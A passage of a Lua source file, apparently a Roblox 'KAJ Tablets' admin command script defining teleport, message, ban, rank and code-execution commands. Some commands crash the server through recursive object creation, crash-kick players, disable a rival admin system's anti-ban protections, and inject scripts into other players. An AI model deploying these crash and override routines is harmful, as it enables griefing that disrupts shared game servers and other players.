local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
if #PlrTab > 0 and #PlrTab2 > 0 then
for i,v in pairs(PlrTab) do
ypcall(function()
for _,v2 in pairs(PlrTab2) do
ypcall(function()
v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
end)
end
end)
end
end
end)
Command("Msg",2, "Creates a Message",
function(Msg,Speaker)
Message(Msg)
end)
Command("H",2, "Creates a Hint",
function(Msg,Speaker)
Hint(Msg)
end)
Command("Sm",2, "Creates a System message",
function(Msg,Speaker)
SystemMsg(Msg)
end)
function Message(str,p)
if p==nil then
for _,Player in pairs(game.Players:GetPlayers()) do
coroutine.wrap(function()
local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
local Text = Instance.new("TextLabel", Msg)
Text.Position = UDim2.new(0, 0, 0.7, 0)
Text.Font=2
Text.FontSize=9
Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
Text.BackgroundTransparency = 0.4
Text.TextColor3 = Color3.new(1, 1, 1)
Text.TextTransparency = 1
Text.TextWrap = true
Text.Text = tostring(str)
Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
Text.TextTransparency = 0
Num = #str * 0.06
wait(3)
Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
wait(Num)
Msg:Remove()
end)()
end
else
Player=p;
coroutine.wrap(function()
local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
local Text = Instance.new("TextLabel", Msg)
Text.Position = UDim2.new(0, 0, 0.7, 0)
Text.Font=2
Text.FontSize=9
Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
Text.BackgroundTransparency = 0.1
Text.TextColor3 = Color3.new(1, 1, 1)
Text.TextTransparency = 1
Text.TextWrap = true
Text.Text = tostring(str)
Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
Text.TextTransparency = 0
Num = #str * 0.06
wait(3)
Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
wait(Num)
Msg:Remove()
end)()
end
end
function SystemMsg(str)
for _,Player in pairs(game.Players:GetPlayers()) do
coroutine.wrap(function()
local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
local Text = Instance.new("TextLabel", Msg)
Text.Position = UDim2.new(0, 0, 0, 0)
Text.Font='Legacy'
Text.FontSize = "Size48"
Text.BackgroundColor3 = Color3.new(-1,-1,-1)
Text.BackgroundTransparency = 0.4
Text.TextColor3 = Color3.new(1,1,1)
Text.TextTransparency = 0
Text.TextWrap = true
Text.Text = ' [ System ] \n ' .. tostring(str)
Text:TweenSizeAndPosition(UDim2.new(1, 0, 1, 0), UDim2.new(0, 0, 0, 0), "Out", "Back", 2)
Text.TextTransparency = 0.1
Num = #str * 0.06
wait(6)
Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
wait(Num)
Msg:Remove()
end)()
end
end
function Hint(str,p)
if p == nil then
for _,Player in pairs(game.Players:GetPlayers()) do
coroutine.wrap(function()
local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
local Text = Instance.new("TextLabel", Msg)
Text.Position = UDim2.new(0, 0, 0, 0)
Text.Font=2
Text.FontSize=9
Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
Text.BackgroundTransparency = 0.4
Text.TextColor3 = Color3.new(1, 1, 1)
Text.TextTransparency = 1
Text.TextWrap = true
Text.Text = tostring(str)
Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
Text.TextTransparency = 0
Num = #str * 0.06
wait(3)
Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
wait(Num)
Msg:Remove()
end)()
end
else
Player=p
coroutine.wrap(function()
local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
local Text = Instance.new("TextLabel", Msg)
Text.Position = UDim2.new(0, 0, 0, 0)
Text.Font=2
Text.FontSize=9
Text.BackgroundColor3 = Color3.new(77/255, 77/255, 77/255)
Text.BackgroundTransparency = 0.1
Text.TextColor3 = Color3.new(1, 1, 1)
Text.TextTransparency = 1
Text.TextWrap = true
Text.Text = tostring(str)
Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
Text.TextTransparency = 0
Num = #str * 0.06
wait(3)
Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
wait(Num)
Msg:Remove()
end)()
end
end
Command("Explore", 3, "Opens An Object Explorer", function(Msg, Speaker)
MakeExplorer(Speaker)
end)
Command("Sinfo", 0, "Show the Script info", function(Msg, Speaker)
wait()
Dismiss(Speaker)
NumBanned = 0
NumCmds = 0
for i = 1, #Rankings do
if Rankings[i].Rank < 0 then
NumBanned = NumBanned + 1
end
end
for i,v in pairs(Commands) do
NumCmds = NumCmds + 1
end
Ping("KAJ Tablets!", Speaker)
Ping("Editor,", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("4611tlaboC"))
Ping("Second Editor,", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("21wopih"))
Ping("I started this on 6/9/2014", Speaker)
Ping(#All2.." players online in the server",Speaker)
Ping(NumCmds.." Commands",Speaker)
Ping(NumBanned.." players banned", Speaker,5)
end)
Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
Dismiss(Speaker)
for i,v in pairs(All()) do
Ping(v.Name.."'s Rank: "..FindRank(v))
end
end)
Command("Speed", 2, "Change speed of a player", function(Msg, Speaker)
local Split = GetSplit(Msg)
local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
local Speed = tonumber(Msg:sub(Split + 1))
for _,v in pairs(PlrTab) do
ypcall(function()
v.Character.Humanoid.WalkSpeed = Speed
Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
end)
end
end)
Command("UnAb", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
local RemoveAB = Instance.new("StringValue")
RemoveAB.Name = "CBA Attachment"
RemoveAB.Value = [[CBA.override=true;]]
RemoveAB.Parent = Work
Ping("Removed All CBA Anti-Bans", Speaker, 5)
end)
Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
Dismiss(Speaker)
for i,v in pairs(Injected) do
Ping(i, Speaker)
end
end)
Command("UnCba", 3, "Removes CBA Admin", function(Msg, Speaker)
local RemoveCBA = Instance.new("StringValue")
RemoveCBA.Name = "CBA Attachment"
RemoveCBA.Value = [[CBA.remove = false]]
RemoveCBA.Parent = Work
Ping("Removed All CBA Admins", Speaker, 5)
end)
Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
local function BufferOverflow(object)
object.DescendantAdded:connect(BufferOverflow)
Instance.new("IntValue", object)
end
BufferOverflow(Game)
end)
Command("Kk", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
local PlrTab = getPlayer(Speaker, Msg)
if #PlrTab > 0 then
for _,v in pairs(PlrTab) do
ypcall(function()
Crash1(v)
end)
end
end
end)
Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
local PlrTab = getPlayer(Speaker, Msg)
if #PlrTab > 0 then
for _,v in pairs(PlrTab) do
ypcall(function()
ChangeRank(v, -1)
end)
end
end
end)
Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
local PlrTab = getPlayer(Speaker, Msg)
if #PlrTab > 0 then
for _,v in pairs(PlrTab) do
ypcall(function()
ChangeRank(v, -2)
end)
end
end
end)
Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
local PlrTab = getPlayer(Speaker, Msg)
if #PlrTab > 0 then
for _,v in pairs(PlrTab) do
ypcall(function()
ChangeRank(v, -3)
end)
end
end
end)
Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
ypcall(function()
local PlrTab = getPlayer(Speaker, Msg)
if #PlrTab > 0 then
for _,v in pairs(PlrTab) do
ypcall(function()
Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
end)
end
end
local PlrName = ChangeRank(Msg, 0)
Ping("Un-Banned "..PlrName, Speaker, 5)
end)
end)
Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
Dismiss(Speaker)
Ping("Commands", Speaker, nil, function()
Dismiss(Speaker.Name)
Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
end)
Ping("Players", Speaker, nil, function()
ListPlayers(Speaker)
end)
end)
Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
ListPlayers(Speaker)
end)
Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
local Func,Error = loadstring(Msg)
getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
getfenv(Func).Speaker = Speaker
if Error == nil then
coroutine.wrap(function()
Func()
end)()
Ping("Executed Script!", Speaker, 5)
else
Ping(Error, Speaker, 10)
end
end)
Command("Insert", 5, "Inserts A Local Script Into A Player", function(Msg, Speaker)
if LS ~= nil then
local Split = GetSplit(Msg)
local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
local LocalSource = Msg:sub(Split + 1)
if #PlrTab > 0 then
for _,v in pairs(PlrTab) do
local Inserted = LS:Clone()
Inserted.Disabled = true
Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
Inserted:findFirstChild(OwnSource).Value = v.Name
end
Inserted[LSSource].Value = LocalSource
Inserted.Disabled = false
end
end
else
Ping("ERROR: Local Script Not Found", Speaker, 5)
end
end)
Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
Msg = tostring(Msg)
Ping(Msg, Speaker)
end)
Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
Dismiss(Speaker)
for i,v in pairs(getfenv(1)) do
ypcall(function()
Ping(tostring(i)..": "..tostring(v), Speaker)
end)
end
end)
Command('Ranks', 0, 'Shows all players in ranking table',
function(Msg,Speaker)
for _,v in pairs(Rankings) do
Ping(v.Name.."'s Rank: "..v.Rank,Speaker,nil,nil,nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
end
end)
Command("Setr", 6, "Ranks A Player", function(Msg, Speaker)
local Split = GetSplit(Msg)
local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
local Rank = tonumber(Msg:sub(Split + 1))
if #PlrTab > 0 then
for _,v in pairs(PlrTab) do
if v.Name ~= Owner then
ChangeRank(v, Rank)
Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
end
end
end
end)
Command("Kajr", 5, "Remove the tablets", function(Msg, Speaker)
Dismiss()
Ping('Remove KAJ Tablets? <LolClickMe>',Speaker,5,function()
Dismiss()
Removed = true
for i,v in pairs(getfenv(1)) do
getfenv(1)[i] = nil
end
script.Disabled = true
end)
end)
Reference in a new issue Copy permalink